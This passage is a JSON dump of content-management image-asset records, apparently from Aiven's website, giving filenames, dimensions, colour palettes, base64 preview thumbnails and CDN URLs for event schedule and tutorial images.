FmYISE/XhHyw4oQ8kelV5Ve76y3Z6g7Qn6akkMmdTyCKJPE+Iv1JxegDkq5iQWEAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3661","foreground":"#fff","population":0.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":39.43,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":39.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#959ecb","foreground":"#000","population":0.93,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ccfc","foreground":"#000","population":0,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646cac","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb8e14","foreground":"#000","population":0.14,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven live london schedule (2).png","path":"images/sczeoy4w/production/58ca42dc6518db3dbfd2844bb0b5f0c2399af4f9-2160x2160.png","sha1hash":"58ca42dc6518db3dbfd2844bb0b5f0c2399af4f9","size":305575,"uploadId":"aQLdR5KNoc7MtDaLglt2MUgpIn8kqrYW","url":"https://cdn.sanity.io/images/sczeoy4w/production/58ca42dc6518db3dbfd2844bb0b5f0c2399af4f9-2160x2160.png"} {"_createdAt":"2023-10-10T11:19:47Z","_id":"image-d425ec084db278839394ceb6d98874d3168551ec-1567x844-png","_rev":"2kdHlkdSUBBOABFqNLw4uP","_type":"sanity.imageAsset","_updatedAt":"2023-10-10T11:19:47Z","assetId":"d425ec084db278839394ceb6d98874d3168551ec","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MA8qXS?aIRoeRk?wovIUogWY9EIVofofj=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACe0lEQVQokSWQ6U/acABA+xcotLalLe2vUKCggLKYTUUNDsYlyFGgbQA5WkCL4FzkkgWvEdHpdOp0n5aZ/aO7kvf15SUPgsksxkg4yOOgiLMVwlwz2jSG32fsHxh7h509YudGJucJcAwoa5vgNIzdQaiyziBP4xkI2LY9S03v28O1QG/93dAXOl4PnvrCY//mpS98tRb87I/dh1PP/s0vXv/JwlKH5vdQZhcxVvVkAbK7VV+wGxdO45nzlDTJFW6S4nVKvs0WHpPiQ0J8yis/S41fQv45GB+/WukDR4fgurjpPca2IMdC3R8dxIXT0NZxNHWekq7S0k2ueC+WnlLSY1p+LtZeCupLQnxcDZxwrkPKNiBtQ9LSp2wjyOpSfKFeJDHyR4f+6Cic+BRNTdLynVR62so9hJJfE9L33PaPcPLOudgnzE2MbWFsCzftk5Y+xLvVcOJjRh7HhLNI8jwmXESSk03hOp69DcSvVwKXG9G7aPrbauAC2NuIsQyTRZgsIsYKBjSIn1dDW8Nc/iKZG8eE8VZmEklNvP6zucUji7tndg6s8yPec2ya7WCgpicLMFX6D8o0IMZa9LzRvBuHKxvdZV9v2Xf0en3o8HQJro0CDQUaxu7jpgMUaDBV0hP5GbqOgr+3EaMCUZRg5WR+rsrN1owWhTTXSW7XYN7DgIbQKkyVEVpBmZ0ZuqYnCjpCRpkGCnZhaltnkCAznXZZRZdbsTjrhKmC0FWUqWGshpuaKKPCVAExFlFGnaGrOoOsM4j/mpVpgziFpSHGJHGWPGcvs7xCW1XK2qBtTYZvA/sBbWuRnEpyKmXRMKDoDOI0ntUTeR0hT+GZP/Jv6i2zFg4ptf4AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#372e5a","foreground":"#fff","population":0.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041e76","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d7dcea","foreground":"#000","population":9.78,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d7dcea","foreground":"#000","population":9.78,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#949be4","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f92","foreground":"#fff","population":1.75,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#242d90","foreground":"#fff","population":3.36,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"cdc_amazonrds_kafka_debezium.png","path":"images/sczeoy4w/production/d425ec084db278839394ceb6d98874d3168551ec-1567x844.png","sha1hash":"d425ec084db278839394ceb6d98874d3168551ec","size":141518,"uploadId":"RrpjqNqKoy89xUI6wfWkqSA1RjUexbU1","url":"https://cdn.sanity.io/images/sczeoy4w/production/d425ec084db278839394ceb6d98874d3168551ec-1567x844.png"} {"_createdAt":"2023-10-10T09:44:08Z","_id":"image-775af8ba029f3dae996c3faa708a9d4a179558f7-2160x1706-png","_rev":"0nL3L47AjT5dLD0PEN0ufs","_type":"sanity.imageAsset","_updatedAt":"2023-10-10T09:44:08Z","assetId":"775af8ba029f3dae996c3faa708a9d4a179558f7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V04LeQ~q00r_Di-r=_={xGMx4T#$~XsoRnxd%1$eV?WD","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2661195779601406,"height":1706,"width":2160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAB2HAAAdhwGP5fFlAAACfUlEQVQ4jYVU227TQBDND9RxEnsvTnzJxXGSprQF8REgSGq7zj1pmhY+D4kPga8AxCPwAlLVHTSzdkIFog9Hs15Pjs6ZM07JsJMPJou/W/ICLCdRFZEqgyVg2DFQ/T9UmSW6nyU/DJZ8LBl28q0uX9097b2A588y5XeXqswv4ciOH0WZp6pWzxB4vkNSJFSOfK1Oo5dwfpYpL1yAKS7BYI8rNEUKVScjlHlKdyWDJfc1J1WN5gQarZmSwVwxbwbMmwL3ZsD9GdjuVD/7+rm45/6MFJY52SaUjuz43nanyo+uIIiuVBBtoNm7IrSPr6FzvIP2AOs1hMMdhCc3dG71t9TD/TkS4ggOhMydKmxoD7aq2d9SM5J1T24I0ZNb6J2+gf6ZRme4Az/agBeuQfhzso4zJcuFwiAiVboSea5ouCNSJOyd3tK5NdgSmdtZkfV/EqL8Vl8rLCzij8NhoRKt7simG67BaS5IXdXJHgRFhFZjkivcqkATEyFa1XZvidjvbqDeXoIM5oDBYVgViRtBMzwQYlLY6HZWqtFekR1UWcxtcP6WiDEwfI+9TmsJsrkAqz6BPJS/CRudlSbOCQt1xezwDi2jC1SLtqu55QeEaNnrrjE5qmgfkywU4vz+DAiBxKiw6mT06T1YG7wUwRxksFAiWCi0g3tZBIIzRdWNzhq8UK9LvbXUi+2QQrUnNFh8j5teFQlUpa41JwXuZlBvzgjCm4DlpFCT+l1NplCRKa1L/pUcLBss/mKy+KctxorLkWJyhBWEM96DI+RoD0uMwWQX+I9EynJ1v47s+CsSvjN5/MkSY2XLPQDB8lqcC1jiAkyOirTN3PJngyXvfwNwou7tMXUmDgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2f365f","foreground":"#fff","population":0.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#091488","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2f365f","foreground":"#fff","population":0.75,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d9c1b6","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2e6f9","foreground":"#000","population":0.1,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646cac","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb8c15","foreground":"#000","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven live london schedule (3).png","path":"images/sczeoy4w/production/775af8ba029f3dae996c3faa708a9d4a179558f7-2160x1706.png","sha1hash":"775af8ba029f3dae996c3faa708a9d4a179558f7","size":291110,"uploadId":"qrSfArSnoTqklUwWRc51HoNPBv4VoMTm","url":"https://cdn.sanity.io/images/sczeoy4w/production/775af8ba029f3dae996c3faa708a9d4a179558f7-2160x1706.png"} {"_createdAt":"2023-10-10T11:39:41Z","_id":"image-b782e804c42a99e5fee76f21733dce6309dcca93-903x187-png","_rev":"08kGRAWxLoE1evFcQVzERw","_type":"sanity.imageAsset","_updatedAt":"2023-10-10T11:39:41Z","assetId":"b782e804c42a99e5fee76f21733dce6309dcca93","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.828877005347594,"height":187,"width":903},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAIAAAABPYjBAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAqElEQVQImV3NTQ6CMBAFYO5/BLdewFtoJMaYkLgkYCmUn7ZSOtOWClqQmPhlFu8tXiZq2pYUlJCi6zgi2MA4Z92X3W5tIYybSAjJWF1VrGNE0kRm8fNxHboctAJEREAEANAAWoeAiM651yKMy4pRWtb5vUkO5WnHLnuRnYeeo/lBY3Dp1lrv/TRN8zxHSinOBedcNFSSm0iPMov7OgUYRu/XD3/W5Wf8BvhP4v/ccLU9AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7e3f04","foreground":"#fff","population":0.15,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7990c","foreground":"#000","population":1.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4ccb4","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcc462","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c8c74","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7990c","foreground":"#000","population":1.53,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"create-database.png","path":"images/sczeoy4w/production/b782e804c42a99e5fee76f21733dce6309dcca93-903x187.png","sha1hash":"b782e804c42a99e5fee76f21733dce6309dcca93","size":7767,"uploadId":"ygoQxCkfHYSmuy96PXMfdYAeXWnUM4v3","url":"https://cdn.sanity.io/images/sczeoy4w/production/b782e804c42a99e5fee76f21733dce6309dcca93-903x187.png"} {"_createdAt":"2023-10-10T11:41:17Z","_id":"image-cde9c4a818fa2f24949028746c2e5ecdb7f2b99d-794x1180-png","_rev":"2kdHlkdSUBBOABFqNLzHSZ","_type":"sanity.imageAsset","_updatedAt":"2023-10-10T11:41:17Z","assetId":"cde9c4a818fa2f24949028746c2e5ecdb7f2b99d","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.6728813559322034,"height":1180,"width":794},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAIAAACjcKk8AAAACXBIWXMAAAsTAAALEwEAmpwYAAAB/ElEQVQ4jZWU2XKrMAyGef+3PD1NaEoIEFuLtdgdQ0jpRaHR+EIz5kfbJzciYrOp6uL7HyznXEppFi/nrKrMLJJU7dB8VjVlNVUlYiJiSerq+fHT36yU8i1295SEkCIDKLCzZSu71pjb8pslcwC43YcOrjceyHi5+lWcJLn7IjazEMO5/3gbz5/Qg5Jn3xOLylZ8D+H9ev4/nXoaUFFdd4I3z7s1Mlxu18/QB4nichC5bBsmAoj3gMhJ3XLZK7hsxaoGSCEikkgtJR+PKueyHFVDJEBKSUX9CBXfQpJVjYiZWavO5/P4bguWrc6PtM2MuRKWJC3Dfya4TTWvzo9uu7uIIGIkAEU2VteDhqnphjCLAN3Yt+Gzox4UfZ8wTpWwJTczv4dw6tp/w+kC1yigu3g3Zt9su3sI4XRt36fzLY1odEBYWa8WwmKEbhj6OFVlrou5F7msZu6cUgSMwJy0DvIVwhQQQ0QiVa198NcIo/khkRkTM33lGbJvwipgf3gAy2ruzpxqbKHkybL5Yc2+jiLnvBA2wX3kKWhMLvs9a+r6zfNYRxUvt+40tRe8zoTtjiptxE9I3sb3DiuelveehKZWP18/xW1/acPHmEaaOdkTP726GGYRcBjDBMBWe3ZQ89MzM2IOdSHn5/ig0z/FqhpCnKaIJKr7u/gQfwGFmexJOE4CJwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#267226","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#216221","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#afd6af","foreground":"#000","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#afd6af","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0e4b0","foreground":"#000","population":0.03,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9ca29a","foreground":"#000","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#40be40","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"new-changes.png","path":"images/sczeoy4w/production/cde9c4a818fa2f24949028746c2e5ecdb7f2b99d-794x1180.png","sha1hash":"cde9c4a818fa2f24949028746c2e5ecdb7f2b99d","size":42321,"uploadId":"gen8UQK329P0vRKzUXalelQVrUuDU5rU","url":"https://cdn.sanity.io/images/sczeoy4w/production/cde9c4a818fa2f24949028746c2e5ecdb7f2b99d-794x1180.png"} {"_createdAt":"2023-10-10T12:12:36Z","_id":"image-20e78d47e9749cf3d563199630916c04b495944c-2160x1706-png","_rev":"2kdHlkdSUBBOABFqNM6xRc","_type":"sanity.imageAsset","_updatedAt":"2023-10-10T12:12:36Z","assetId":"20e78d47e9749cf3d563199630916c04b495944c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V04V2~~q00a19E?J-P=t%2MxD4,,_4soM|RS%1-UV?ai","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2661195779601406,"height":1706,"width":2160},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAB2HAAAdhwGP5fFlAAACo0lEQVQ4jYWU3XLSUBDH+wKkWMj3NwkkQG07an0HL7QkkAAlCUXo6znjg+hTqOOleqMznZ51/huC0zqjFztnObP57X8/DkeSnH5oK8n3rj6hrpGKtjYVkpJSS07+a5KSIpbjJSX9ISnpxyNJTr+Zxuu7Z/ErunyeCXewEm1tRpLCH/zTkLxj5qJjZnSsTu8ABVBY5pV4cfqGXl4uRTCqSLYXhCDZyqlr5ex3zJxke364gynOglSnjj1Wp5wEwHvFzkQYrygcVcKLKuEMSnL6JXlRRV68JndQse/Ha/KHN+xzzKAUmrts2sR21JKTe9leCAT6ww2fvdENBaMN9U/f0uDplqKzLcXnt2zDi1u+bxKp7kJAXUtOaiAUyvZc7LMLBAIajAHc1tCzLYMAjM52FI435EVrcqOKdO8avWyGRHuF8wbEYCjER1D3R+WO/d7whpXZYUFWUJBiz7l/fwEZBCDUjTYUjmtlDQwnVFlhwaowIAzmiY6NSB8CO2YmEGj3S4HMUAAoQPH5juKLW4ajRDNYkeFfk+4tSXWX+wk/Ap4YmTB6KwTzCTiAzRBg0fmO7wBFQmwBwB0je7CbDOxauXDq1RC8IvGa+9VMFjCUDCD6i/agEuxhez+QRyXnAg22w4JLRnaAm71rdg8xun9NmrfkHqJ/x+pUoOTDHkpKeijZCgv0kvtpBgWXbvdLssOSe4dhQBW/mHooYv+SDsvNwK6ZCW9QUBBXwo9K8gcFWy8uKRhW5IYrMrwFGd6cNCcn1cl5XWSrhmIwKL1+ekrypaOnPy1vJlx/JhyPjVx/Rl5vRm4vI8udkmFN2HRzQqoxoRMtxXTxSlAy1P2SlPQrgO/aavKpq10JWT8YwZT92fjN7452RW38G8mJwJPb2+eWnLz/DaUp8hZ6/pngAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e3560","foreground":"#fff","population":0.76,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#091488","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#959dcc","foreground":"#000","population":1.33,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#959dcc","foreground":"#000","population":1.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0bc94","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646cac","foreground":"#fff","population":0.02,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#eb8c15","foreground":"#000","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Aiven live london schedule (4).png","path":"images/sczeoy4w/production/20e78d47e9749cf3d563199630916c04b495944c-2160x1706.png","sha1hash":"20e78d47e9749cf3d563199630916c04b495944c","size":316407,"uploadId":"4ht6MrVssvohgBIMglQYE0aAUmmIFYCp","url":"https://cdn.sanity.io/images/sczeoy4w/production/20e78d47e9749cf3d563199630916c04b495944c-2160x1706.png"} {"_createdAt":"2023-11-10T09:11:24Z","_id":"image-639b114aea77bf5eaf6d15b8499a7701ee93755e-1200x628-png","_rev":"2Eye2NjagEp5aUWL7qKHut","_type":"sanity.imageAsset","_updatedAt":"2023-11-10T09:11:24Z","assetId":"639b114aea77bf5eaf6d15b8499a7701ee93755e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M57^~2Re$t%103~pXBxYt3E39G$_xuWHs%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAChklEQVQokVWSW1MSAQCF9xfUlIELLAu7XBZcgVDCzNZWBVczKsmydDSRvFTYjqmhXAQETdOammby534N5ksPZ87bN2fmfIIvtMzU4y+srhyzWjihuHrG8/wRWtzGIb/H6duiV9lGVPdwBQ/whA8JxjsMj5+TmW4xOGSj9m0jhSu4ghUEt+81xsg6r3I2C7OfWZjdY8baoz9pI2s2vsgOil5G6a8gR2r4+xo8sn7wvnTJTqlOcW6FjLlBNFlFCtcRHJ55EgPvmJiwmbJ2mZoqk7UqGBN1hs0mD8Y7GNlTRjLf6Eu16Rtss1j4Q7t9SWvbprH6ksLcCiNmDb/eQXB435BIf8S09snM1Mg+aZJ90mYyd4L17Izp59+ZefGLbO4nifsn9N/r8Lb4m3rtnI9LC6znTBafzTM22SSQuEBwym9IDpUwJ/cZzR5gZKsYmTpGpolpHTM2fcoj6xtD5le05BHBeBMrd8bmRouXuVnGUinGRudJG0cosQuEHs884dgaiXSJaPIDoVg3W4Tj22h394gmDwjfraLoFbxaFa92SCzdIfu4hWkW0fWnRGIbBGINvJEOwk3nHE7pNS7/Ik55iTveZRxyEVHZxKWWEFUbUf2MGPj3sjfSIDJ4yj3jgrTRpj91gKpXkMJV3KE6wi1nHsmdR1EWkEMFRH8Bj7qGFt8iqNu4VPufNtdAOdogmjpjYOQHAw/PiQ0dE4w3rrRxh6oIt52zqFKeiLZEUF/DEygih9ZIDJbQE5/wBD79B5S0w6s31VgHRT/EF+2uK+MKlnGHagg3HHl6el/Q1cfhXaRHWsbhXUFS3yGpm4j+a7GvgV2xJa111WKgTK+6S6+6gxj4gkdr8Bfhom6SHj5WsgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#272b58","foreground":"#fff","population":0.5,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04196e","foreground":"#fff","population":0.11,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b6adbb","foreground":"#000","population":9.95,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6adbb","foreground":"#000","population":9.95,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7b82c3","foreground":"#fff","population":0.6,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#707191","foreground":"#fff","population":4.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c2584","foreground":"#fff","population":6.42,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"idealo Honey Social Card 1.png","path":"images/sczeoy4w/production/639b114aea77bf5eaf6d15b8499a7701ee93755e-1200x628.png","sha1hash":"639b114aea77bf5eaf6d15b8499a7701ee93755e","size":267095,"uploadId":"QuCzLvcwLVGHdB5RIfP18Bpw8EKinFhG","url":"https://cdn.sanity.io/images/sczeoy4w/production/639b114aea77bf5eaf6d15b8499a7701ee93755e-1200x628.png"} {"_createdAt":"2023-11-23T15:00:39Z","_id":"image-668a97e099965e0b5c4db333f00feabeb55dc8fc-1200x1600-png","_rev":"Arp4NzaYseKQ5hw9dg8NlA","_type":"sanity.imageAsset","_updatedAt":"2023-11-23T15:00:39Z","assetId":"668a97e099965e0b5c4db333f00feabeb55dc8fc","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"dHG*$e%2~poz}?NHD*bI9Eoci^sSRPW;R*Ip%M-ptSxu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":0.75,"height":1600,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#493929","foreground":"#fff","population":1.19,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5f4424","foreground":"#fff","population":0.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bdac94","foreground":"#000","population":7.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdac94","foreground":"#000","population":7.25,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dac1a2","foreground":"#000","population":1.31,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a17d5a","foreground":"#fff","population":7.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7d5c3b","foreground":"#fff","population":2.96,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Untitled design (8).png","path":"images/sczeoy4w/production/668a97e099965e0b5c4db333f00feabeb55dc8fc-1200x1600.png","sha1hash":"668a97e099965e0b5c4db333f00feabeb55dc8fc","size":1446458,"uploadId":"MPUceDxwZx2Edpqt6517y2rrCQiiO6nv","url":"https://cdn.sanity.io/images/sczeoy4w/production/668a97e099965e0b5c4db333f00feabeb55dc8fc-1200x1600.png"} {"_createdAt":"2023-10-26T11:07:41Z","_id":"image-4632134f3f63013d23c2541368ba83967a54f81e-1200x628-png","_rev":"XUhAwzdXzERUfq0vkLtOer","_type":"sanity.imageAsset","_updatedAt":"2023-10-26T11:07:41Z","assetId":"4632134f3f63013d23c2541368ba83967a54f81e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEByzQ02yA=XEN.TI9?HELRiJq$wsqN_V?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAACq0lEQVQokVWRa0tTAQCGzy/oMrfj3DlnZ24706WmJmrWtkyzi12W0zm1trRdzi5nW6Zpscxa0UUoAqPsSiX2oYKIiKgoCiII+gfRh771L56YRNCH9+vD+7yvYLKF8bYk6fAdo